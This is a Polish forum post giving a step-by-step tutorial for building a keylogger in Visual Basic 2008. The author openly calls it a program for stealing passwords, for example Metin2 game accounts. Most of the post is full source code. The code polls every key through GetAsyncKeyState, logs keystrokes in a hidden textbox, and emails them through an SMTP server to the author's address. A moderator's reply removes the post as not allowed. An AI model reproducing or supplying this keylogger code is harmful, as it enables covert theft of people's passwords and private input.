[Tut] "VB2008" Jak zrobić keyloggera

[cinu2421]

Witam w tym poradniku postanowiłem opisać jak zrobić keyloggera

Keylogger- program kradący hasła np. do metin2. Na samym początku dodam iż

wymagana jest lekka wiedza o VB2008 ponieważ początkujący może nie połapać się o co chodzi

Poradnik postaram się napisać w bardzo zrozumiały sposub. Nie ponoszę odpowiedzialności za krzywdy wyrządzone tym programem.

 

A więc tworzymy nowy projekt (ctrl+n)

Tworzymy "Windows Forms Application" czy jakoś tak.

 

Robimy wszystko tak jak na tym filmiku

 

http://www.youtube.com/ watch?v=VMijGbIoNGs

Kopiujemy link i kasujemy odstęp pomiędzy linkiem

gdy zrobiliśmy wszystko tak jak na filmiku:

 

Dodajemy:

-Button - Zmieniamy jego nazwę na zamknij

 

Klikamy na nasz TextBox i w properties

szukamy opcji:

Visible - True

zmieniamy ją na

Visible - False

 

Dzięki temu nasz textbox staje się niewidzialny

 

Następnie dodajemy

-Button2 - Nazywamy go Start

-Button3 - Nazywamy go Stop

 

Wszystko powinno wyglądać tak przy teście:

 

Następnie klikamy 2 razy na naszą aplikację

Widzimy tam taki jakby notatnik kasujemy wszystko i wklejamy to:

 

 

 

Imports System.Web

Imports System.IO

Imports System.Net.Mail

Public Class Form1

Dim result As Integer

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

 

End Sub

 

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255

result = 0

result = GetAsyncKeyState(i)

If result = -32767 Then

TextBox1.Text = TextBox1.Text + Chr(i)

End If

Next i

End Sub

 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

Dim mail As New MailMessage()

Dim SmtpServer As New SmtpClient

SmtpServer.Credentials = New Net.NetworkCredential("id", "haslo")

SmtpServer.Port = 587

SmtpServer.Host = "smtp.wp.pl"

SmtpServer.EnableSsl = True

SmtpServer.EnableSsl = True

mail.To.Add("[email protected]")

mail.From = New MailAddress("[email protected]")

mail.Subject = "Temat"

mail.Body = TextBox1.Text

SmtpServer.Send(mail)

End Sub

 

Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click

MsgBox("Hack został włączony", MsgBoxStyle.Information, "Hack")

End Sub

End Class

 

Temat dokończę pózniej bo muszę spadać

[meth0d]

Nie wolno czegoś takiego wstawiać. Kosz